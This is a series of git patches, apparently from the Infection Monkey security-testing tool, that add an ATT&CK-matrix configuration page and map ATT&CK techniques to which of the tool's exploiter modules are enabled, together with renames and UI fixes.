      + + +
      + { this.state.lastAction === 'reset' ? +
      + + Matrix reset to default. +
      + : ''} + { this.state.lastAction === 'saved' ? +
      + + Matrix applied to configuration. +
      + : ''} + { this.state.lastAction === 'invalid_configuration' ? +
      + + An invalid matrix configuration supplied, check selected fields. +
      + : ''} +
      +
      + +
      + +
      ); + } +} + +export default MatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js deleted file mode 100644 index 98ce1604d..000000000 --- a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js +++ /dev/null @@ -1,83 +0,0 @@ -import React from 'react'; -import Form from 'react-jsonschema-form'; -import {Col, Nav, NavItem} from 'react-bootstrap'; -import Checkbox from '../ui-components/checkbox' -import Tooltip from 'react-tooltip-lite' -import AuthComponent from '../AuthComponent'; -import ReactTable from "react-table"; -import 'filepond/dist/filepond.min.css'; -import '../../styles/Tooltip.scss'; - - -let renderTechnique = function (technique) { - console.log(technique); - if (technique == null){ - return (
      ) - } else { - return ( - {technique.title} ) - } -}; - -// Finds which attack type has most techniques and returns that number -let findMaxTechniques = function (data){ - let maxLen = 0; - data.forEach(function(techType) { - if (Object.keys(techType.properties).length > maxLen){ - maxLen = Object.keys(techType.properties).length - } - }); - return maxLen -}; - -let parseTechniques = function (data, maxLen) { - let techniques = []; - // Create rows with attack techniques - for (let i = 0; i < maxLen; i++) { - let row = {}; - data.forEach(function(techType){ - let rowColumn = {}; - rowColumn.techName = techType.title; - if (i <= Object.keys(techType.properties).length) { - rowColumn.technique = Object.values(techType.properties)[i]; - } else { - rowColumn.technique = null - } - row[rowColumn.techName] = rowColumn - }); - techniques.push(row) - } - return techniques; -}; - -class MatrixComponent extends AuthComponent { - constructor(props) { - super(props); - this.maxTechniques = findMaxTechniques(Object.values(this.props.configuration)); - this.data = parseTechniques(Object.values(this.props.configuration), this.maxTechniques); - } - - getColumns() { - return Object.keys(this.data[0]).map((key)=>{ - return { - Header: key, - id: key, - accessor: x => renderTechnique(x[key].technique), - style: { 'white-space': 'unset' } - }; - }); - } - - render() { - console.log(this.data); - let columns = this.getColumns(); - return (); - } -} - -export default MatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js index ca073a7ed..a3d1b45fb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js @@ -1,7 +1,7 @@ import React from 'react'; import AuthComponent from '../AuthComponent'; import 'filepond/dist/filepond.min.css'; -import MatrixComponent from '../attck/MatrixComponent' +import MatrixComponent from '../attack/MatrixComponent' class AttckComponent extends AuthComponent { constructor(props) { @@ -12,14 +12,13 @@ class AttckComponent extends AuthComponent { // set schema from server this.state = { configuration: {}, - lastAction: 'none', sections: [], selectedSection: 'ATT&CK matrix', }; } componentDidMount() { - this.authFetch('/api/attck') + this.authFetch('/api/attack') .then(res => res.json()) .then(res => { let sections = []; @@ -36,11 +35,7 @@ class AttckComponent extends AuthComponent { render() { let content; - if (Object.keys(this.state.configuration).length === 0) { - content = (

      Fetching configuration...

      ); - } else { - content = (); - } + content = (); return
      {content}
      ; } } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 6155a4dcc..8b1c45d7a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -515,3 +515,8 @@ body { } } + +/* Attack config page */ +.attack-matrix .messages { + margin-bottom: 30px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss index cb24563f7..b590b2a08 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss @@ -1,7 +1,7 @@ // colors $light-grey: #EAF4F4; $medium-grey: #7B9EA8; -$dark-grey: #7B9EA8; +$dark-grey: #7a7d7b; $green: #44CF6C; $black: #000000; @@ -33,6 +33,12 @@ $black: #000000; fill: $black; } + &.blocked { + background-color: $dark-grey; + color: $black; + fill: $black; + } + &.is-checked { border: 1px solid $green; background-color: $green; From f5da1bf3b6cbb9d9090486f4962a254b8815f473 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Mar 2019 10:04:17 +0200 Subject: [PATCH 020/598] Matrix submit bugfix --- monkey/monkey_island/cc/ui/src/components/Main.js | 2 +- .../cc/ui/src/components/attack/MatrixComponent.js | 3 +-- .../components/pages/{AttckPage.js => AttackPage.js} | 10 +++++++--- 3 files changed, 9 insertions(+), 6 deletions(-) rename monkey/monkey_island/cc/ui/src/components/pages/{AttckPage.js => AttackPage.js} (77%) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 5dfe465fa..7fc9bbb80 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -14,7 +14,7 @@ import ReportPage from 'components/pages/ReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; -import AttckPage from 'components/pages/AttckPage' +import AttckPage from 'components/pages/AttackPage' import 'normalize.css/normalize.css'; import 'react-data-components/css/table-twbs.css'; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index 128a230be..309e2bbea 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -80,7 +80,6 @@ class MatrixComponent extends AuthComponent { }; onSubmit = () => { - console.log(this.state.matrixData); this.authFetch('/api/attack', { method: 'POST', @@ -144,7 +143,7 @@ class MatrixComponent extends AuthComponent { : ''}
      -
      diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js similarity index 77% rename from monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js index a3d1b45fb..397f558e9 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttckPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js @@ -3,7 +3,7 @@ import AuthComponent from '../AuthComponent'; import 'filepond/dist/filepond.min.css'; import MatrixComponent from '../attack/MatrixComponent' -class AttckComponent extends AuthComponent { +class AttackComponent extends AuthComponent { constructor(props) { super(props); this.currentSection = 'ATT&CK matrix'; @@ -35,9 +35,13 @@ class AttckComponent extends AuthComponent { render() { let content; - content = (); + if (Object.keys(this.state.configuration).length === 0) { + content = (

      Fetching configuration...

      ); + } else { + content = (); + } return
      {content}
      ; } } -export default AttckComponent; +export default AttackComponent; From cce76f37dfc174b5e0d1641956ad612e196a649c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Mar 2019 21:37:55 +0200 Subject: [PATCH 021/598] Configuration "reset to defaults" added --- monkey/monkey_island/cc/app.py | 4 +- monkey/monkey_island/cc/resources/attack.py | 11 ++- .../cc/ui/src/components/Main.js | 4 +- .../src/components/attack/MatrixComponent.js | 70 ++++++++++++++----- 4 files changed, 64 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c313cea50..f43492713 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,7 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.resources.pba_file_upload import FileUpload -from cc.resources.attack import AttckConfiguration +from cc.resources.attack import AttackConfiguration from cc.services.config import ConfigService __author__ = 'Barak' @@ -124,6 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttckConfiguration, '/api/attack') + api.add_resource(AttackConfiguration, '/api/attack') return app diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py index dd8be055e..25af9100c 100644 --- a/monkey/monkey_island/cc/resources/attack.py +++ b/monkey/monkey_island/cc/resources/attack.py @@ -6,13 +6,18 @@ from cc.auth import jwt_required from cc.services.attack.attack import AttackService -class AttckConfiguration(flask_restful.Resource): +class AttackConfiguration(flask_restful.Resource): @jwt_required() def get(self): return jsonify(configuration=AttackService.get_config()['properties']) @jwt_required() def post(self): - AttackService.update_config({'properties': json.loads(request.data)}) - return {} + config_json = json.loads(request.data) + if 'reset_attack_matrix' in config_json: + AttackService.reset_config() + return jsonify(configuration=AttackService.get_config()['properties']) + else: + AttackService.update_config({'properties': json.loads(request.data)}) + return {} diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 7fc9bbb80..291cfde58 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -162,7 +162,7 @@ class AppComponent extends AuthComponent {
        -
      • ATT&CK Configuration
      • +
      • ATT&CK Configuration
      • Configuration
      • Log
      @@ -188,7 +188,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} - {this.renderRoute('/attck', )} + {this.renderRoute('/attack', )} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index 309e2bbea..818a5b8e6 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -46,15 +46,18 @@ let parseTechniques = function (data, maxLen) { class MatrixComponent extends AuthComponent { constructor(props) { super(props); - this.state = {lastAction: 'none', matrixData: this.props.configuration}; // Copy configuration and parse it for ATT&CK matrix table let configCopy = JSON.parse(JSON.stringify(this.props.configuration)); - this.maxTechniques = findMaxTechniques(Object.values(configCopy)); - this.data = parseTechniques(Object.values(configCopy), this.maxTechniques); - } + this.state = {lastAction: 'none', + configData: this.props.configuration, + maxTechniques: findMaxTechniques(Object.values(configCopy))}; + this.state.matrixTableData = parseTechniques(Object.values(configCopy), this.state.maxTechniques); + this.state.columns = this.getColumns(this.state.matrixTableData) + }; - getColumns() { - return Object.keys(this.data[0]).map((key)=>{ + + getColumns(matrixData) { + return Object.keys(matrixData[0]).map((key)=>{ return { Header: key, id: key, @@ -84,7 +87,7 @@ class MatrixComponent extends AuthComponent { { method: 'POST', headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(this.state.matrixData) + body: JSON.stringify(this.state.configData) }) .then(res => { if (!res.ok) @@ -102,26 +105,54 @@ class MatrixComponent extends AuthComponent { }); }; - handleTechniqueChange = (technique, value) => { - Object.entries(this.state.matrixData).forEach(techType => { - if(techType[1].properties.hasOwnProperty(technique)){ - let tempMatrix = this.state.matrixData; - tempMatrix[techType[0]].properties[technique].value = value; - this.setState({matrixData: tempMatrix}); - } + resetConfig = () => { + this.authFetch('/api/attack', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify('reset_attack_matrix') + }) + .then(res => res.json()) + .then(res => { + this.updateStateFromConfig(res.configuration, 'reset') + }); + }; + + updateStateFromConfig = (config, lastAction = '') => { + let configCopy = JSON.parse(JSON.stringify(config)); + let maxTechniques = findMaxTechniques(Object.values(configCopy)); + let matrixTableData = parseTechniques(Object.values(configCopy), maxTechniques); + let columns = this.getColumns(matrixTableData); + this.setState({ + lastAction: lastAction, + configData: config, + maxTechniques: maxTechniques, + matrixTableData: matrixTableData, + columns: columns }); }; + handleTechniqueChange = (technique, value) => { + // Change value on configuration + Object.entries(this.state.configData).forEach(techType => { + if(techType[1].properties.hasOwnProperty(technique)){ + let tempMatrix = this.state.configData; + tempMatrix[techType[0]].properties[technique].value = value; + this.updateStateFromConfig(tempMatrix); + } + }); + + }; + render() { - let columns = this.getColumns(); return (
      + defaultPageSize={this.state.maxTechniques} />
      { this.state.lastAction === 'reset' ?
      @@ -146,6 +177,9 @@ class MatrixComponent extends AuthComponent { +
      ); From b3f7b29640ce9cbc9a4b12982126148c96f897a7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Mar 2019 19:02:33 +0200 Subject: [PATCH 022/598] ATT&CK fields can be mapped together, ATT&CK configuration gets translated to monkey's configuration --- monkey/monkey_island/cc/app.py | 2 +- monkey/monkey_island/cc/resources/attack.py | 23 ----- .../cc/resources/attack_config.py | 28 ++++++ monkey/monkey_island/cc/resources/root.py | 4 +- monkey/monkey_island/cc/server_config.json | 2 +- .../cc/services/attack/attack.py | 44 ---------- .../cc/services/attack/attack_config.py | 86 +++++++++++++++++++ .../cc/services/attack/attack_schema.py | 26 ++++++ .../cc/services/config_schema.py | 36 +++++--- .../src/components/attack/MatrixComponent.js | 11 ++- 10 files changed, 177 insertions(+), 85 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/attack.py create mode 100644 monkey/monkey_island/cc/resources/attack_config.py delete mode 100644 monkey/monkey_island/cc/services/attack/attack.py create mode 100644 monkey/monkey_island/cc/services/attack/attack_config.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index f43492713..c793c42cc 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,7 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.resources.pba_file_upload import FileUpload -from cc.resources.attack import AttackConfiguration +from cc.resources.attack_config import AttackConfiguration from cc.services.config import ConfigService __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py deleted file mode 100644 index 25af9100c..000000000 --- a/monkey/monkey_island/cc/resources/attack.py +++ /dev/null @@ -1,23 +0,0 @@ -import flask_restful -import json -from flask import jsonify, request - -from cc.auth import jwt_required -from cc.services.attack.attack import AttackService - - -class AttackConfiguration(flask_restful.Resource): - @jwt_required() - def get(self): - return jsonify(configuration=AttackService.get_config()['properties']) - - @jwt_required() - def post(self): - config_json = json.loads(request.data) - if 'reset_attack_matrix' in config_json: - AttackService.reset_config() - return jsonify(configuration=AttackService.get_config()['properties']) - else: - AttackService.update_config({'properties': json.loads(request.data)}) - return {} - diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack_config.py new file mode 100644 index 000000000..0e33fc6d1 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack_config.py @@ -0,0 +1,28 @@ +import flask_restful +import json +from flask import jsonify, request + +from cc.auth import jwt_required +from cc.services.attack.attack_config import * + + +class AttackConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(configuration=get_config()['properties']) + + @jwt_required() + def post(self): + """ + Based on request content this endpoint either resets ATT&CK configuration or updates it. + :return: Technique types dict with techniques on reset and nothing on update + """ + config_json = json.loads(request.data) + if 'reset_attack_matrix' in config_json: + reset_config() + return jsonify(configuration=get_config()['properties']) + else: + update_config({'properties': json.loads(request.data)}) + apply_to_monkey_config() + return {} + diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 46e2b4638..6296f9cfc 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -7,7 +7,7 @@ from flask import request, make_response, jsonify from cc.auth import jwt_required from cc.database import mongo from cc.services.config import ConfigService -from cc.services.attack.attack import AttackService +from cc.services.attack.attack_config import reset_config as reset_attack_config from cc.services.node import NodeService from cc.services.report import ReportService from cc.utils import local_ip_addresses @@ -48,7 +48,7 @@ class Root(flask_restful.Resource): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() - AttackService.reset_config() + reset_attack_config() logger.info('DB was reset') return jsonify(status='OK') diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 2d1a5995b..d53173b82 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,3 +1,3 @@ { "server_config": "standard" -} \ No newline at end of file +} diff --git a/monkey/monkey_island/cc/services/attack/attack.py b/monkey/monkey_island/cc/services/attack/attack.py deleted file mode 100644 index b4f95b4df..000000000 --- a/monkey/monkey_island/cc/services/attack/attack.py +++ /dev/null @@ -1,44 +0,0 @@ -import logging -from cc.database import mongo -from attack_schema import SCHEMA - -__author__ = "VakarisZ" - -logger = logging.getLogger(__name__) - - -class AttackService: - default_config = None - - def __init__(self): - pass - - @staticmethod - def get_config(): - config = mongo.db.attack.find_one({'name': 'newconfig'}) or AttackService.get_default_config() - return config - - @staticmethod - def get_config_schema(): - return SCHEMA - - @staticmethod - def reset_config(): - config = AttackService.get_default_config() - AttackService.update_config(config) - - @staticmethod - def update_config(config_json): - mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - return True - - @staticmethod - def parse_users_matrix(data): - pass - - @staticmethod - def get_default_config(): - if not AttackService.default_config: - AttackService.update_config(SCHEMA) - AttackService.default_config = SCHEMA - return AttackService.default_config diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py new file mode 100644 index 000000000..d03a7cc21 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -0,0 +1,86 @@ +import logging +from cc.database import mongo +from attack_schema import SCHEMA +from cc.services.config import ConfigService + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +def get_config(): + config = mongo.db.attack.find_one({'name': 'newconfig'}) or reset_config() + return config + + +def get_config_schema(): + return SCHEMA + + +def reset_config(): + update_config(SCHEMA) + + +def update_config(config_json): + mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return True + + +def apply_to_monkey_config(): + """ + Applies ATT&CK matrix in the database to the monkey configuration + :return: + """ + attack_techniques = get_techniques() + monkey_config = ConfigService.get_config(False, True, True) + monkey_schema = ConfigService.get_config_schema() + set_exploiters(attack_techniques, monkey_config, monkey_schema) + ConfigService.update_config(monkey_config, True) + + +def set_exploiters(attack_techniques, monkey_config, monkey_schema): + """ + Sets exploiters according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for exploiter in monkey_schema['definitions']['exploiter_classes']['anyOf']: + # Go trough each attack technique used by exploiter + for attack_technique in exploiter['attack_techniques']: + # If exploiter's attack technique is disabled, disable the exploiter + if not attack_techniques[attack_technique]: + remove_exploiter(exploiter['enum'][0], monkey_config) + break + # If exploiter's attack technique is enabled, enable the exploiter + else: + add_exploiter(exploiter['enum'][0], monkey_config) + + +def remove_exploiter(exploiter, monkey_config): + """ + Removes exploiter from monkey's configuration + :param exploiter: Exploiter class name found in SCHEMA->definitions->exploiter_classes -> anyOf -> enum + :param monkey_config: Monkey's configuration + """ + if exploiter in monkey_config['exploits']['general']['exploiter_classes']: + monkey_config['exploits']['general']['exploiter_classes'].remove(exploiter) + + +def add_exploiter(exploiter, monkey_config): + """ + Adds exploiter to monkey's configuration + :param exploiter: Exploiter class name found in SCHEMA->definitions->exploiter_classes -> anyOf -> enum + :param monkey_config: Monkey's configuration + """ + if not exploiter in monkey_config['exploits']['general']['exploiter_classes']: + monkey_config['exploits']['general']['exploiter_classes'].append(exploiter) + + +def get_techniques(): + attack_config = get_config() + techniques = {} + for key, attack_type in attack_config['properties'].items(): + for key, technique in attack_type['properties'].items(): + techniques[key] = technique['value'] + return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 8ffe73bdb..582eeb876 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -2,6 +2,22 @@ SCHEMA = { "title": "ATT&CK configuration", "type": "object", "properties": { + "initial_access": { + "title": "Initial access", + "type": "object", + "properties": { + "T1078": { + "title": "T1078 Valid accounts", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may steal the credentials of a specific user or service account using " + "Credential Access techniques or capture credentials earlier in their " + "reconnaissance process.", + "mapped_to": ["T1003"] + } + } + }, "lateral_movement": { "title": "Lateral movement", "type": "object", @@ -36,6 +52,16 @@ SCHEMA = { "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained." + }, + "T1003": { + "title": "T1003 Credential dumping", + "type": "bool", + "value": True, + "necessary": False, + "description": "Credential dumping is the process of obtaining account login and password " + "information, normally in the form of a hash or a clear text password, " + "from the operating system and software.", + "mapped_to": ["T1078"] } } }, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 382b591db..c5611e4e1 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -13,84 +13,96 @@ SCHEMA = { "enum": [ "SmbExploiter" ], - "title": "SMB Exploiter" + "title": "SMB Exploiter", + "attack_techniques": ["T1110", "T1210", "T1021", "T1035", "T1075"] }, { "type": "string", "enum": [ "WmiExploiter" ], - "title": "WMI Exploiter" + "title": "WMI Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "MSSQLExploiter" ], - "title": "MSSQL Exploiter" + "title": "MSSQL Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "RdpExploiter" ], - "title": "RDP Exploiter (UNSAFE)" + "title": "RDP Exploiter (UNSAFE)", + "attack_techniques": [] }, { "type": "string", "enum": [ "Ms08_067_Exploiter" ], - "title": "MS08-067 Exploiter (UNSAFE)" + "title": "MS08-067 Exploiter (UNSAFE)", + "attack_techniques": [] }, { "type": "string", "enum": [ "SSHExploiter" ], - "title": "SSH Exploiter" + "title": "SSH Exploiter", + "attack_techniques": ["T1110"] }, { "type": "string", "enum": [ "ShellShockExploiter" ], - "title": "ShellShock Exploiter" + "title": "ShellShock Exploiter", + "attack_techniques": [] }, { "type": "string", "enum": [ "SambaCryExploiter" ], - "title": "SambaCry Exploiter" + "title": "SambaCry Exploiter", + "attack_techniques": [] }, { "type": "string", "enum": [ "ElasticGroovyExploiter" ], - "title": "ElasticGroovy Exploiter" + "title": "ElasticGroovy Exploiter", + "attack_techniques": [] }, { "type": "string", "enum": [ "Struts2Exploiter" ], - "title": "Struts2 Exploiter" + "title": "Struts2 Exploiter", + "attack_techniques": [] }, { "type": "string", "enum": [ "WebLogicExploiter" ], - "title": "Oracle Web Logic Exploiter" + "title": "Oracle Web Logic Exploiter", + "attack_techniques": [] }, { "type": "string", "enum": [ "HadoopExploiter" ], - "title": "Hadoop/Yarn Exploiter" + "title": "Hadoop/Yarn Exploiter", + "attack_techniques": [] } ] }, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index 818a5b8e6..8267449d0 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -55,7 +55,6 @@ class MatrixComponent extends AuthComponent { this.state.columns = this.getColumns(this.state.matrixTableData) }; - getColumns(matrixData) { return Object.keys(matrixData[0]).map((key)=>{ return { @@ -132,12 +131,20 @@ class MatrixComponent extends AuthComponent { }); }; - handleTechniqueChange = (technique, value) => { + handleTechniqueChange = (technique, value, mapped=false) => { // Change value on configuration Object.entries(this.state.configData).forEach(techType => { if(techType[1].properties.hasOwnProperty(technique)){ let tempMatrix = this.state.configData; tempMatrix[techType[0]].properties[technique].value = value; + // Toggle all mapped techniques + if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('mapped_to')){ + console.log("Triggered"); + tempMatrix[techType[0]].properties[technique].mapped_to.forEach(mappedTechnique => { + console.log(mappedTechnique) + this.handleTechniqueChange(mappedTechnique, value, true) + }) + } this.updateStateFromConfig(tempMatrix); } }); From 5e73306b9cc909d000e423d412dd1a221acdf31b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Mar 2019 17:05:29 +0200 Subject: [PATCH 023/598] Implemented enabling/disabling array and boolean configuration fields according to ATT&CK matrix. --- .../cc/services/attack/attack_config.py | 97 +++++++++++++------ .../cc/services/attack/attack_schema.py | 4 +- .../cc/services/config_schema.py | 6 +- .../src/components/attack/MatrixComponent.js | 4 +- monkey/monkey_island/requirements.txt | 3 +- 5 files changed, 80 insertions(+), 34 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index d03a7cc21..713eeab36 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -1,4 +1,5 @@ import logging +from dpath import util from cc.database import mongo from attack_schema import SCHEMA from cc.services.config import ConfigService @@ -28,56 +29,96 @@ def update_config(config_json): def apply_to_monkey_config(): """ - Applies ATT&CK matrix in the database to the monkey configuration + Applies ATT&CK matrix to the monkey configuration :return: """ attack_techniques = get_techniques() monkey_config = ConfigService.get_config(False, True, True) monkey_schema = ConfigService.get_config_schema() - set_exploiters(attack_techniques, monkey_config, monkey_schema) + set_arrays(attack_techniques, monkey_config, monkey_schema) + set_booleans(attack_techniques, monkey_config, monkey_schema) ConfigService.update_config(monkey_config, True) -def set_exploiters(attack_techniques, monkey_config, monkey_schema): +def set_arrays(attack_techniques, monkey_config, monkey_schema): """ - Sets exploiters according to ATT&CK matrix + Sets exploiters/scanners/PBAs and other array type fields according to ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for exploiter in monkey_schema['definitions']['exploiter_classes']['anyOf']: - # Go trough each attack technique used by exploiter - for attack_technique in exploiter['attack_techniques']: - # If exploiter's attack technique is disabled, disable the exploiter - if not attack_techniques[attack_technique]: - remove_exploiter(exploiter['enum'][0], monkey_config) - break - # If exploiter's attack technique is enabled, enable the exploiter - else: - add_exploiter(exploiter['enum'][0], monkey_config) + for key, definition in monkey_schema['definitions'].items(): + for array_field in definition['anyOf']: + # Go trough each attack technique used by exploiter/scanner/PBA + if 'attack_techniques' not in array_field: + continue + for attack_technique in array_field['attack_techniques']: + # Skip if exploiter is marked with not yet implemented technique + if attack_technique not in attack_techniques: + continue + # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA + if not attack_techniques[attack_technique]: + r_alter_array(monkey_config, key, array_field['enum'][0], remove=True) + break + # If exploiter's attack technique is enabled, enable the exploiter/scanner/PBA + else: + r_alter_array(monkey_config, key, array_field['enum'][0], remove=False) -def remove_exploiter(exploiter, monkey_config): +def set_booleans(attack_techniques, monkey_config, monkey_schema): """ - Removes exploiter from monkey's configuration - :param exploiter: Exploiter class name found in SCHEMA->definitions->exploiter_classes -> anyOf -> enum - :param monkey_config: Monkey's configuration + Sets exploiters/scanners/PBAs and other array type fields according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema """ - if exploiter in monkey_config['exploits']['general']['exploiter_classes']: - monkey_config['exploits']['general']['exploiter_classes'].remove(exploiter) + for key, value in monkey_schema['properties'].items(): + r_set_booleans([key], value, attack_techniques, monkey_config) -def add_exploiter(exploiter, monkey_config): - """ - Adds exploiter to monkey's configuration - :param exploiter: Exploiter class name found in SCHEMA->definitions->exploiter_classes -> anyOf -> enum - :param monkey_config: Monkey's configuration - """ - if not exploiter in monkey_config['exploits']['general']['exploiter_classes']: - monkey_config['exploits']['general']['exploiter_classes'].append(exploiter) +def r_set_booleans(path, value, attack_techniques, monkey_config): + if isinstance(value, dict): + dictionary = {} + if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value: + set_bool_conf_val(path, should_enable_field(value['attack_techniques'], attack_techniques), monkey_config) + elif 'properties' in value: + dictionary = value['properties'] + else: + dictionary = value + for key, item in dictionary.items(): + path.append(key) + r_set_booleans(path, item, attack_techniques, monkey_config) + del path[-1] + + +def set_bool_conf_val(path, val, monkey_config): + util.set(monkey_config, '/'.join(path), val) + + +def should_enable_field(field_techniques, users_techniques): + for technique in field_techniques: + if not users_techniques[technique]: + return False + return True + + +def r_alter_array(config_value, array_name, field, remove=True): + if isinstance(config_value, dict): + if array_name in config_value and isinstance(config_value[array_name], list): + if remove and field in config_value[array_name]: + config_value[array_name].remove(field) + elif not remove and field not in config_value[array_name]: + config_value[array_name].append(field) + else: + for prop in config_value.items(): + r_alter_array(prop[1], array_name, field, remove) def get_techniques(): + """ + Parses ATT&CK config into a dic of techniques. + :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} + """ attack_config = get_config() techniques = {} for key, attack_type in attack_config['properties'].items(): diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 582eeb876..87f7f7274 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -14,7 +14,7 @@ SCHEMA = { 